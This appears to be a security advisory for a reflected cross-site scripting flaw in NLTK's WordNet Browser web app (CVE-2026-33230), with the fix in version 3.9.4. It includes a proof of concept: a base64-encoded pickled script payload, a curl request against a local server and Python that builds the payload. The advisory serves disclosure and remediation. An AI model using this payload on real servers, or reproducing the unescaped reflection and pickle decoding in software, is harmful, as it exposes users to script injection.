nltk
Affected
- introduced
0, fixed3.9.4(ecosystem)
Fixed versions
3.9.4
Fix
- Fixed version
3.9.4pip install --upgrade nltk==3.9.4
Advisory
Also known as: CVE-2026-33230, PYSEC-2026-2235
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk
Summarynltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.
Details
The vulnerable flow is in nltk/app/wordnet_app.py:
nltk/app/wordnet_app.py:144](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)lookup_ are handled as HTML responses:page, word = page_from_href(sp)nltk/app/wordnet_app.py:755](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)page_from_href() calls page_from_reference(Reference.decode(href))nltk/app/wordnet_app.py:769](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)word = href.wordnltk/app/wordnet_app.py:796](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)word is inserted directly into the HTML body:body = "The word or words '%s' were not found in the dictionary." % wordThis is inconsistent with the search route, which does escape user input:
nltk/app/wordnet_app.py:136](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)word = html.escape(...)As a result, a malicious lookup_... payload can inject script into the response page.
The issue is exploitable because:
Reference.decode() accepts attacker-controlled base64-encoded pickle data for the URL state.word is reflected into HTML without html.escape().HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not just localhost.PoC
docker run -d --name nltk-wordnet-web -p 8002:8002 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
("<script>alert(1)</script>", {})
Encoded payload:
gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
The word or words '<script>alert(1)</script>' were not found in the dictionary.
<img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" />
I also validated the issue directly at function level in Docker:
import base64
import pickle
from nltk.app.wordnet_app import page_from_href
payload = base64.urlsafe_b64encode(
pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()
page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)
Observed output:
WORD= <script>alert(1)</script>
HAS_SCRIPT= True
Impact
This is a reflected XSS issue in the NLTK WordNet Browser web UI.
An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:
This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.
Medium Basis: The source's own band: MODERATE
0, fixed 3.9.4 (ecosystem)3.9.4
3.9.4pip install --upgrade nltk==3.9.4Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0